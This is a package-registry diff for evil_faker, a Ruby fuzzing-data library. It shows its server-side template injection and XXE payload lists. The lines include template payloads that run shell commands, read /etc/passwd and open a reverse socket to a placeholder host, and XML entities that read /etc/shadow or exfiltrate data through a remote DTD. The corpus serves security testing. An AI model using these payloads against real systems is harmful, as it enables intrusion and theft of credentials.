evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
@@ -0,0 +1,105 @@
1
+ {{4*4}}[[5*5]]
2
+ {{7*7}}
3
+ {{7*'7'}}
4
+ <%= 7 * 7 %>
5
+ ${3*3}
6
+ ${{7*7}}
7
+ @(1+2)
8
+ {{dump(app)}}
9
+ {{app.request.server.all|join(',')}}
10
+ {{config.items()}}
11
+ {{ [].class.base.subclasses() }}
12
+ {{''.class.mro()[1].subclasses()}}
13
+ {{ ''.__class__.__mro__[2].__subclasses__() }}
14
+ {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
15
+ {{'a'.toUpperCase()}}
16
+ {{ request }}
17
+ {{self}}
18
+ <%= File.open('/etc/passwd').read %>
19
+ <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
20
+ [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
21
+ ${"freemarker.template.utility.Execute"?new()("id")}
22
+ {{app.request.query.filter(0,0,1024,{'options':'system'})}}
23
+ {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
24
+ {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
25
+ {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
26
+ {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
27
+ {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
28
+ {$smarty.version}
29
+ {php}echo `id`;{/php}
30
+ {{['id']|filter('system')}}
31
+ {{['cat\x20/etc/passwd']|filter('system')}}
32
+ {{['cat$IFS/etc/passwd']|filter('system')}}
33
+ {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
34
+ {{request|attr(["_"*2,"class","_"*2]|join)}}
35
+ {{request|attr(["__","class","__"]|join)}}
36
+ {{request|attr("__class__")}}
37
+ {{request.__class__}}
38
+ {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
39
+ {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
40
+ {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
41
+ {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
42
+ {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
43
+ {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
44
+ ${T(java.lang.System).getenv()}
45
+ ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
46
+ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
47
+ ${self.module.runtime.util.os.system("id")}
48
+ ${self.template.module.cache.util.os.system("id")}
49
+ ${self.module.cache.compat.inspect.os.system("id")}
50
+ ${self.__init__.__globals__['util'].os.system('id')}
51
+ ${self.template.module.runtime.util.os.system("id")}
52
+ ${self.module.filters.compat.inspect.os.system("id")}
53
+ ${self.module.runtime.compat.inspect.os.system("id")}
54
+ ${self.module.runtime.exceptions.util.os.system("id")}
55
+ ${self.template.__init__.__globals__['os'].system('id')}
56
+ ${self.module.cache.util.compat.inspect.os.system("id")}
57
+ ${self.module.runtime.util.compat.inspect.os.system("id")}
58
+ ${self.template._mmarker.module.cache.util.os.system("id")}
59
+ ${self.template.module.cache.compat.inspect.os.system("id")}
60
+ ${self.module.cache.compat.inspect.linecache.os.system("id")}
61
+ ${self.template._mmarker.module.runtime.util.os.system("id")}
62
+ ${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
63
+ ${self.template.module.filters.compat.inspect.os.system("id")}
64
+ ${self.template.module.runtime.compat.inspect.os.system("id")}
65
+ ${self.module.filters.compat.inspect.linecache.os.system("id")}
66
+ ${self.module.runtime.compat.inspect.linecache.os.system("id")}
67
+ ${self.template.module.runtime.exceptions.util.os.system("id")}
68
+ ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
69
+ ${self.context._with_template.module.cache.util.os.system("id")}
70
+ ${self.module.runtime.exceptions.compat.inspect.os.system("id")}
71
+ ${self.template.module.cache.util.compat.inspect.os.system("id")}
72
+ ${self.context._with_template.module.runtime.util.os.system("id")}
73
+ ${self.module.cache.util.compat.inspect.linecache.os.system("id")}
74
+ ${self.template.module.runtime.util.compat.inspect.os.system("id")}
75
+ ${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
76
+ ${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
77
+ ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
78
+ ${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
79
+ ${self.template.module.cache.compat.inspect.linecache.os.system("id")}
80
+ ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
81
+ ${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
82
+ ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
83
+ ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
84
+ ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
85
+ ${self.template.module.filters.compat.inspect.linecache.os.system("id")}
86
+ ${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
87
+ ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
88
+ ${self.context._with_template._mmarker.module.cache.util.os.system("id")}
89
+ ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
90
+ ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
91
+ ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
92
+ ${self.context._with_template.module.cache.compat.inspect.os.system("id")}
93
+ ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
94
+ ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
95
+ ${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
96
+ ${self.context._with_template.module.filters.compat.inspect.os.system("id")}
97
+ ${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
98
+ ${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
99
+ ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
100
+ {{self._TemplateReference__context.cycler.__init__.__globals__.os}}
101
+ {{self._TemplateReference__context.joiner.__init__.__globals__.os}}
102
+ {{self._TemplateReference__context.namespace.__init__.__globals__.os}}
103
+ {{cycler.__init__.__globals__.os}}
104
+ {{joiner.__init__.__globals__.os}}
105
+ {{namespace.__init__.__globals__.os}}
@@ -0,0 +1,102 @@
1
+ <?xml version="1.0" encoding="ISO-8859-1"?>
2
+ <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
3
+ <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
4
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
5
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>
6
+ <?xml version="1.0" encoding="ISO-8859-1"?><test></test>
7
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
8
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
9
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]><foo>&xxe;</foo>
10
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/issue" >]>
11
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
12
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
13
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
14
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
15
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com:80" >]><foo>&xxe;</foo>
16
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example:443" >]>
17
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>
18
+ <test></test>
19
+ <![CDATA[<test></test>]]>
20
+ &foo;
21
+ %foo;
22
+ count(/child::node())
23
+ x' or name()='username' or 'x'='y
24
+ <name>','')); phpinfo(); exit;/*</name>
25
+ <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
26
+ <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
27
+ <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
28
+ <foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
29
+ <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>
30
+ <foo><![CDATA[' or 1=1 or ''=']]></foo>
31
+ <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
32
+ <xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
33
+ <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
34
+ <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
35
+ <xml SRC="xsstest.xml" ID=I></xml>
36
+ <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>
37
+ <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
38
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><script>alert(123)</script></xsl:template></xsl:stylesheet>
39
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:copy-of select="document('/etc/passwd')"/></xsl:template></xsl:stylesheet>
40
+ <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><xsl:template match="/"><xsl:value-of select="php:function('passthru','ls -la')"/></xsl:template></xsl:stylesheet>
41
+ <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
42
+ <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
43
+ <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
44
+ <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://example.com/text.txt" >]>
45
+ <!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]>
46
+ <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://127.0.0.1:80/?%file;'>  "> %int;
47
+ <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///etc/issue"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
48
+ <!DOCTYPE xxe [ <!ENTITY % file SYSTEM "file:///c:/boot.ini"><!ENTITY % dtd SYSTEM "http://example.com/evil.dtd">%dtd;%trick;]>
49
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
50
+ <!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>
51
+ <!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>
52
+ <!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://crowdshield.com/.testing/rfi_vuln.txt"> ]>
53
+ <?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>
54
+ <?xml version="1.0"?><change-log><text>Hello World</text></change-log>
55
+ <?xml version="1.0"?><change-log><text>&quot;Hello World&quot;</text></change-log>
56
+ <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>
57
+ <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote "&quot;"> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>
58
+ <!ENTITY systemEntity SYSTEM "robots.txt">
59
+ <change-log> <text>&systemEntity;</text> </change-log>
60
+ <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text> </change-log>
61
+ <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../../boot.ini"> ]> <change-log> <text>&systemEntity;</text> </change-log>
62
+ <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text>; </change-log>
63
+ <test> $lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('XSS')<![CDATA[<]]>/script<![CDATA[>]]> </test>
64
+ <?xml version="1.0"?><change-log><text><script>alert(1)</script></text></change-log>
65
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>
66
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
67
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>
68
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
69
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "http://xerosecurity.com/.testing/rfi_vuln.txt">]><foo>&xxe;</foo>
70
+ <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>"
71
+ <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
72
+ <xml SRC="https://crowdshield.com/.testing/rfi_vuln.txt" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
73
+ <HTML xmlns:xss><?import namespace="xss" implementation="https://crowdshield.com/.testing/xss.html"><xss:xss>XSS</xss:xss></HTML>
74
+ <xml SRC="https://crowdshield.com/.testing/xss.html" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
75
+ <?xml version='1.0' standalone='no'?><!DOCTYPE foo [<!ENTITY % f5a30 SYSTEM "https://crowdshield.com/.testing/rfi_vuln.txt">%f5a30; ]>
76
+
77
+
78
+ <?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "../../../boot.ini" ]> <change-log> <text>&systemEntity;</text>; </change-log>
79
+ <?xml version="1.0" encoding="utf-8"?><!DOCTYPE doc [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "php://filter/read-convert.base64-encode/resource=file:///C:/boot.ini" >]><doc><test>Contents of file: &xxe;</test></doc>
80
+ <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
81
+ <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>
82
+ <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
83
+ <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://crowdshield.com/.testing/rfi.txt" >]><foo>&xxe;</foo>
84
+ "}}</script><script>alert(1);</script></body></html><!--
85
+ }}</script>'"
86
+ }}</script>'
87
+ '}}</script>'
88
+ '}}</script>"
